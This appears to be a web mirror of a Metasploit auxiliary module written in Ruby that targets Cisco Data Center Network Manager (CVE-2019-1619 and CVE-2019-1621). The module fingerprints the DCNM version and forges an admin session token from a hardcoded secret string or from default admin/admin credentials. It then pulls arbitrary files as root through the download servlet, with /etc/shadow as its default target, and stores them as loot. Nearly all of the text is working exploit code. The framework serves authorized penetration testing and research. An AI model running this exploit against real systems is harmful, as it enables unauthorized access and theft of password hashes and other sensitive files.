Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/networking/cisco_dcnm_download.rb
19670 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Deprecated
11
moved_from 'auxiliary/admin/cisco/cisco_dcnm_download'
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',
18
'Description' => %q{
19
DCNM exposes a servlet to download files on /fm/downloadServlet.
20
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
21
the full path of the file.
22
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
23
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
24
(see References to understand why).
25
},
26
'Author' => [
27
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'CVE', '2019-1619' ],
32
[ 'CVE', '2019-1621' ],
33
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
34
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],
35
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],
36
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
37
],
38
'DisclosureDate' => '2019-06-26',
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'SideEffects' => [IOC_IN_LOGS],
42
'Reliability' => []
43
}
44
)
45
)
46
47
register_options(
48
[
49
Opt::RPORT(443),
50
OptBool.new('SSL', [true, 'Connect with TLS', true]),
51
OptString.new('TARGETURI', [true, 'Default server path', '/']),
52
OptString.new('USERNAME', [true, 'Username for auth (required only for 11.0(1)', 'admin']),
53
OptString.new('PASSWORD', [true, 'Password for auth (required only for 11.0(1)', 'admin']),
54
OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),
55
]
56
)
57
end
58
59
def auth_v11
60
res = send_request_cgi(
61
'uri' => normalize_uri(target_uri.path, 'fm/'),
62
'method' => 'GET',
63
'vars_get' =>
64
{
65
'userName' => datastore['USERNAME'],
66
'password' => datastore['PASSWORD']
67
}
68
)
69
70
# get the JSESSIONID cookie
71
if res && res.code == 200 && res.get_cookies
72
res.get_cookies.split(';').each do |cok|
73
if cok.include?('JSESSIONID')
74
return cok
75
end
76
end
77
end
78
end
79
80
def auth_v10
81
# step 1: get a JSESSIONID cookie and the server Date header
82
res = send_request_cgi({
83
'uri' => normalize_uri(target_uri.path, 'fm/'),
84
'method' => 'GET'
85
})
86
87
# step 2: convert the Date header and create the auth hash
88
if res && res.headers['Date']
89
jsession = res.get_cookies.split(';')[0]
90
date = Time.httpdate(res.headers['Date'])
91
server_date = date.strftime('%s').to_i * 1000
92
print_good("#{peer} - Got sysTime value #{server_date}")
93
94
# auth hash format:
95
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
96
session_id = rand(1000..50000).to_s
97
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
98
'POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF'
99
md5_str = Base64.strict_encode64(md5)
100
101
# step 3: authenticate our cookie as admin
102
# token format: sessionId.sysTime.md5_str.username
103
res = send_request_cgi(
104
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
105
'cookie' => jsession,
106
'vars_get' =>
107
{
108
'token' => "#{session_id}.#{server_date}.#{md5_str}.admin"
109
},
110
'method' => 'GET'
111
)
112
113
if res && res.code == 500
114
return jsession
115
end
116
end
117
end
118
119
def run
120
res = send_request_cgi(
121
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),
122
'method' => 'GET'
123
)
124
noauth = false
125
126
if res && res.code == 200
127
if res.body.include?('version":"11.1(1)')
128
print_good("#{peer} - Detected DCNM 11.1(1)")
129
print_status("#{peer} - No authentication required, ready to exploit!")
130
noauth = true
131
elsif res.body.include?('version":"11.0(1)')
132
print_good("#{peer} - Detected DCNM 11.0(1)")
133
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
134
jsession = auth_v11
135
elsif res.body.include?('version":"10.4(2)')
136
print_good("#{peer} - Detected DCNM 10.4(2)")
137
print_status("#{peer} - No authentication required, ready to exploit!")
138
jsession = auth_v10
139
else
140
print_error("#{peer} - Failed to detect module version.")
141
print_error('Please contact module author or add the target yourself and submit a PR to the Metasploit project!')
142
print_error(res.body)
143
print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")
144
jsession = auth_v10
145
end
146
end
147
148
if jsession || noauth
149
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
150
else
151
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")
152
end
153
154
res = send_request_cgi(
155
'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),
156
'method' => 'GET',
157
'cookie' => jsession,
158
'vars_get' => {
159
'showFile' => datastore['FILEPATH']
160
}
161
)
162
163
if res && res.code == 200 && !res.body.empty?
164
filedata = res.body
165
vprint_line(filedata.to_s)
166
fname = File.basename(datastore['FILEPATH'])
167
168
path = store_loot(
169
'cisco-DCNM.http',
170
'application/octet-stream',
171
datastore['RHOST'],
172
filedata,
173
fname
174
)
175
print_good("File saved in: #{path}")
176
else
177
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
178
end
179
end
180
end
181
182